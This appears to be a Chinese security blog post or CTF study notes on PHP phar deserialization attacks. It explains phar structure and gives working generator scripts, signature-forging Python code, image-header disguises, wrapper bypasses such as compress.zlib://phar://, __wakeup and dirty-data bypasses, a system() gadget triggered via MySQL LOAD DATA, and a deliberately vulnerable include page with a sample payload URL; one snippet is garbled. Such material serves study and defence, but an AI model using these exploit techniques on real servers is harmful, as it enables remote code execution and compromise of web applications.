参考文章:
1、#https://aecous.github.io/2023/04/24/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-phar%E7%AF%87/
2、#https://xz.aliyun.com/t/6699?time__1311=n4%2BxnD0DRDBGit30%3DKDsA3r%2BDcAiD9DQqwxvID&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F6699#toc-3
3、#https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/
Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
默认开启版本 PHP version >= 5.3
1
2
3
4
1 、 Stub //Phar文件头
2 、 manifest //压缩文件信息
3 、 contents //压缩文件内容
4 、 signature //签名
stub是phar的文件头,如果没有这个就无法被识别为phar文件(但是不影响伪造成其他文件:gif、png、jpg and so on)
1
<? php xxx ; __HALT_COMPILER (); ?>
利用一些构造手法可以进行绕过
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。【引用】
被压缩文件的内容。
就是phar文件的签名,每次文件内容更改的时候都要重新生成新的签名
可以看见
1
2
3
4
20 bytes => SHA1 0x0002
16 bytes => MD5
32 bytes => SHA256 0x0003
64 bytes => SHA512 0x0004
1
2
3
4
5
6
7
8
from hashlib import sha1
with open ( 'test.phar' , 'rb' ) as file :
f = file . read ()
s = f [ :- 28 ] # 获取要签名的数据
h = f [ - 8 : ] # 获取签名类型和GBMB标识
newf = s + sha1 ( s ) . digest () + h # 数据 + 签名 + (类型 + GBMB)
with open ( 'newtest.phar' , 'wb' ) as file :
file . write ( newf ) # 写入新文件
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? php
class DTtest {
}
@ unlink ( "phar.phar" );
$phar = new Phar ( "phar.phar" ); //后缀名必须为phar
$phar -> startBuffering ();
$phar -> setStub ( "<?php __HALT_COMPILER(); ?>" ); //设置stub
$o = new DTtest ();
$phar -> setMetadata ( $o ); //将自定义的meta-data存入manifest
$phar -> addFromString ( "test.txt" , "test" ); //添加要压缩的文件
$phar -> stopBuffering ();
?>
可以看见他的存储方式也是以反序列化的形式存在的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? php
class DTtest {
}
@ unlink ( "phar.phar" );
$phar = new Phar ( "phar.phar" ); //后缀名必须为phar
$phar -> startBuffering ();
$phar -> setStub ( "GIF89a" . "<?php __HALT_COMPILER(); ?>" ); //设置stub
$o = new DTtest ();
$o -> data = 'hello DT!' ;
$phar -> setMetadata ( $o ); //将自定义的meta-data存入manifest
$phar -> addFromString ( "test.txt" , "test" ); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering ();
?>
可以看见这里也是可以伪造了一个jpg的头文件
测试了一下也是可以构造链子的,这里就不演示了
1
2
3
4
5
6
7
8
9
10
<? php
include ( 'phar://phar.jpg' );
class DTtest {
function __destruct ()
{
echo $this -> data ;
echo phpinfo ();
}
}
?>
为什么 Phar 会反序列化处理文件并且在文件操作中能够成功反序列化呢?
https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548 ,重点关注:
1
2
3
stream = php_stream_open_wrapper_ex ( filename , "rb" ,
( use_include_path ? USE_PATH : 0 ) | REPORT_ERRORS ,
NULL , context );
可以注意,其使用的是php_stream系列API来打开一个文件。
官方文档: https://www.php.net/manual/en/book.stream.php ,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。这个phar就注册了phar://这个stream wrapper,可以看看注册了什么wrapper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
php > var_dump ( stream_get_wrappers ());
array ( 12 ) {
[ 0 ] =>
string ( 5 ) "https"
[ 1 ] =>
string ( 4 ) "ftps"
[ 2 ] =>
string ( 13 ) "compress.zlib"
[ 3 ] =>
string ( 14 ) "compress.bzip2"
[ 4 ] =>
string ( 3 ) "php"
[ 5 ] =>
string ( 4 ) "file"
[ 6 ] =>
string ( 4 ) "glob"
[ 7 ] =>
string ( 4 ) "data"
[ 8 ] =>
string ( 4 ) "http"
[ 9 ] =>
string ( 3 ) "ftp"
[ 10 ] =>
string ( 4 ) "phar"
[ 11 ] =>
string ( 3 ) "zip"
}
注册wapper可以实现功能,具体看底层代码:
https://github.com/php/php-src/blob/8d3f8ca12a0b00f2a74a27424790222536235502/main/php_streams.h#L132
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
typedef struct _php_stream_wrapper_ops {
/* open/create a wrapped stream */
php_stream * ( * stream_opener )( php_stream_wrapper * wrapper , const char * filename , const char * mode ,
int options , zend_string ** opened_path , php_stream_context * context STREAMS_DC );
/* close/destroy a wrapped stream */
int ( * stream_closer )( php_stream_wrapper * wrapper , php_stream * stream );
/* stat a wrapped stream */
int ( * stream_stat )( php_stream_wrapper * wrapper , php_stream * stream , php_stream_statbuf * ssb );
/* stat a URL */
int ( * url_stat )( php_stream_wrapper * wrapper , const char * url , int flags , php_stream_statbuf * ssb , php_stream_context * context );
/* open a "directory" stream */
php_stream * ( * dir_opener )( php_stream_wrapper * wrapper , const char * filename , const char * mode ,
int options , zend_string ** opened_path , php_stream_context * context STREAMS_DC );
const char * label ;
/* delete a file */
int ( * unlink )( php_stream_wrapper * wrapper , const char * url , int options , php_stream_context * context );
/* rename a file */
int ( * rename )( php_stream_wrapper * wrapper , const char * url_from , const char * url_to , int options , php_stream_context * context );
/* Create/Remove directory */
int ( * stream_mkdir )( php_stream_wrapper * wrapper , const char * url , int mode , int options , php_stream_context * context );
int ( * stream_rmdir )( php_stream_wrapper * wrapper , const char * url , int options , php_stream_context * context );
/* Metadata handling */
int ( * stream_metadata )( php_stream_wrapper * wrapper , const char * url , int options , void * value , php_stream_context * context );
} php_stream_wrapper_ops ;
可以看见拥有:
stream_opener,stream_closer,stream_stat,url_stat,dir_opener,unlink,rename,stream_mkdir,stream_metadata
这几个功能
404实验室seaii指出了所有文件函数均可使用
fileatime
/ filectime
/ filemtime
stat
/ fileinode
/ fileowner
/ filegroup
/ fileperms
file
/ file_get_contents
/ readfile
/ `fopen``
file_exists
/ is_dir
/ is_executable
/ is_file
/ is_link
/ is_readable
/ is_writeable
/ is_writable
parse_ini_file
unlink
copy
根据文章的分析,可以看见,其原理都是调用了 php_stream_locate_url_wrapper
这个函数,都是直接或者间接的触发反序列化的wrapper。
接下来是一些touch文件
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom***
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstring
1
2
3
$zip = new ZipArchive ();
$res = $zip -> open ( 'c.zip' );
$zip -> extractTo ( 'phar://test.phar/test' );
demo:
1
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt' ;
当然,它同样适用于compress.zlib://
。
1
2
3
4
<? php
$pdo = new PDO ( sprintf ( "pgsql:host=%s;dbname=%s;user=%s;password=%s" , "127.0.0.1" , "postgres" , "sx" , "123456" ));
@ $pdo -> pgsqlCopyFromFile ( 'aa' , 'phar://test.phar/aa' );
Mysql的load data local infile也会触发php_stream_open_wrapper
1
2
3
4
5
6
7
8
9
10
11
<? php
class A {
public $s = '' ;
public function __wakeup () {
system ( $this -> s );
}
}
$m = mysqli_init ();
mysqli_options ( $m , MYSQLI_OPT_LOCAL_INFILE , true );
$s = mysqli_real_connect ( $m , 'localhost' , 'root' , '123456' , 'easyweb' , 3306 );
$p = mysqli_query ( $m , 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;' );
当phar这个后缀名被ban的时候,可以直接对后缀进行更改,不会影响到协议的读取,因为根据前面stub来判断phar,例如前面构造的jpg来绕过一些限制。拿上面的举个例子。
如果ban了stub头,那么可以将phar文件进行一次压缩,建议使用linux的自带压缩gzip,使用windows的bandzip等会导致算法问题无法触发
如果无法用phar协议,那么就可以用下面的
1
compress . zlib :// phar :// phar . phar / test . txt
这里我写一个例子出来:
demo: a.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? php
class DTtest {
}
@ unlink ( "phar.phar" );
$phar = new Phar ( "phar.phar" ); //后缀名必须为phar
$phar -> startBuffering ();
$phar -> setStub ( "GIF89a" . "<?php __HALT_COMPILER(); ?>" ); //设置stub
$o = new DTtest ();
$phar -> setMetadata ( $o ); //将自定义的meta-data存入manifest
$phar -> addFromString ( "test.txt" , "test" ); //添加要压缩的文件
$phar -> stopBuffering ();
?>
phar.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? php
highlight_file ( __FILE__ );
error_reporting ( 0 );
$a = $_GET [ 'filename' ]; if ( substr ( $a , 0 , 7 ) == "phar://" && isset ( $a )){ die ( nonono );
} else {
include $a ;
}
class DTtest {
public function __destruct (){
echo $this -> data ;
echo phpinfo ();
}
}
?>
这里为了简便就不写对后缀名的限制了,但是我这里还是上传gif文件。
playlaod:http://127.0.0.1/phar.php?filename=compress.zlib://phar://phar.gif
同样的zip协议我就不写了
php版本 PHP5<5.6.25,PHP7 < 7.0.10
在正常的反序列化漏洞中,都知道,可以通过改变成员数来绕过wakeup()(具体为什么我后面再去分析),所以在phar反序列化中一样,这里直接给出demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
class DTtest {
}
@ unlink ( "phar.phar" );
$phar = new Phar ( "phar.phar" ); //后缀名必须为phar
$phar -> startBuffering ();
$phar -> setStub ( "GIF89a" . "<?php __HALT_COMPILER(); ?>" ); //设置stub
$o = new DTtest ();
str_replace ( "O:6:" DTtest : 1 "," O : 6 : "DTtest" : 2 , $o );
$phar -> setMetadata ( $o ); //将自定义的meta-data存入manifest
$phar -> addFromString ( "test.txt" , "test" ); //添加要压缩的文件
$phar -> stopBuffering ();
?>
后面自动计算签名即可
另外一个方式(当php版本对应不上且含有__destruct方法的时候)可以使用GC回收机制来直接触发销毁方法从而绕过wakeup
或者可以利用aecous师傅写的:
1
2
3
4
5
6
7
8
from hashlib import sha1
file = open ( 'test.phar' , 'rb' ) . read () # 需要重新生成签名的phar文件
data = file [: - 28 ] # 获取需要签名的据
final = file [ - 8 :] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1 ( data ) . digest () + final # 数据 + 签名 + 类型 + GBMB
open ( 'poc.phar' , 'wb' ) . write ( newfile ) # 写入到新的phar文件
来进行绕i过
这里我也就直接贴上上面师傅的代码下来了
当文件上传之后,在文件数据前面拼接了脏数据,再进行文件函数配合phar协议读取时,就会因为签名原因导致无法反序列化,这种情况下,就需要在生成phar文件时,将已知的脏数据设置在stub中,计算完签名后将文件中的脏数据删除即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<? php
class A {
}
$a = new A ();
//前面的脏数据
$dirtydata = "dirty" ;
$phar = new Phar ( "phar.phar" );
$phar -> startBuffering ();
//在stub头中添加脏数据
$phar -> setStub ( $dirtydata . "<?php __HALT_COMPILER(); ?>" );
$phar -> setMetadata ( $a );
//添加压缩文件
$phar -> addFromString ( "anything" , "test" );
//自动计算签名
$phar -> stopBuffering ();
//读取phar文件
$exp = file_get_contents ( "./phar.phar" );
$post_exp = substr ( $exp , strlen ( $dirtydata ));
//删除脏数据头
$exp = file_put_contents ( "./break_phar.phar" , $post_exp );
?>
测试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
class A {
public function __destruct ()
{
echo "AAAA" ;
}
}
$dirty = "dirty" ;
$old = file_get_contents ( "./phar/break_phar.phar" );
$new = $old . $dirty ;
$new = $dirty . $old ;
file_put_contents ( "./phar/new.phar" , $new );
file_get_contents ( "phar://./phar/new.phar" );
绕过文件尾部的脏数据就不需要什么操作了,也不需要已知内容,我们可以使用tar格式自动忽略,因为tar格式有暂停解析位,在之后添加的数据都不会解析的。
1
2
3
4
5
6
7
8
9
10
11
<? php
class A {
}
$a = new A ();
//因为用的tar格式,所以不需要指定stub头
$phar = new PharData ( dirname ( __FILE__ ) . "/phar.tar" , 0 , "phartest" , Phar :: TAR );
$phar -> startBuffering ();
$phar -> setMetadata ( $a );
$phar -> addFromString ( "test" , "test" );
$phar -> stopBuffering ();
1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
class A {
public function __destruct ()
{
echo "AAAA" ;
}
}
$dirty = "dirty" ;
$old = file_get_contents ( "./phar/phar.tar" );
$new = $old . $dirty ;
file_put_contents ( "./phar/new.tar" , $new );
file_get_contents ( "phar://./phar/new.tar" );
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<? php
class A {
}
$a = new A ();
//前面的脏数据
$dirtydata = "dirty" ;
$phar = new PharData ( dirname ( __FILE__ ) . "/phar.tar" , 0 , "phartest" , Phar :: TAR );
$phar -> startBuffering ();
$phar -> setMetadata ( $a );
//设置开头数据
$phar -> addFromString ( $dirtydata , "test" );
$phar -> stopBuffering ();
//读取原文件,截取,删除
$exp = file_get_contents ( "./phar.tar" );
$post_exp = substr ( $exp , strlen ( $dirtydata ));
$exp = file_put_contents ( "./break_phar.tar" , $post_exp );
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<? php
class A {
public function __destruct ()
{
echo "AAA" ;
}
}
$front = "dirty" ;
$dirty = "dirty" ;
$old = file_get_contents ( "./phar/break_phar.tar" );
$new = $front . $old . $dirty ;
file_put_contents ( "./phar/new.tar" , $new );
file_get_contents ( "phar://./phar/new.tar" );